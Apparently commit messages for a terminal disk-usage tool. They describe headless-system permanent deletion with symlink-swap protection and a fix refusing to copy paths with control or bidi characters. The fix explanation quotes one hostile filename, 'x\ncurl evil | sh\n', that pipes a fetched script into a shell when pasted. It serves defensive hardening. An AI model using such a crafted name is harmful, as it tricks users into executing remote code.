On a headless Linux or BSD system (no DISPLAY or WAYLAND_DISPLAY) nothing
empties the freedesktop trash, so trashing never freed space. There, d now
deletes permanently after an explicit confirmation, checking owner and type
against the scan and removing through an os.Root on the parent so a swapped
symlink cannot redirect it. o shows the folder in the map instead of
launching a file manager. Desktop sessions, macOS and Windows are unchanged.
fix: refuse to copy paths containing control or bidi characters
The copy-path action put raw filenames on the clipboard via OSC 52. A
hostile name such as "x\ncurl evil | sh\n" (from a shared directory or
a crafted snapshot) executes commands when pasted into a shell without
bracketed paste. Paths that Sanitize would alter are no longer copied.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Andy Dixon
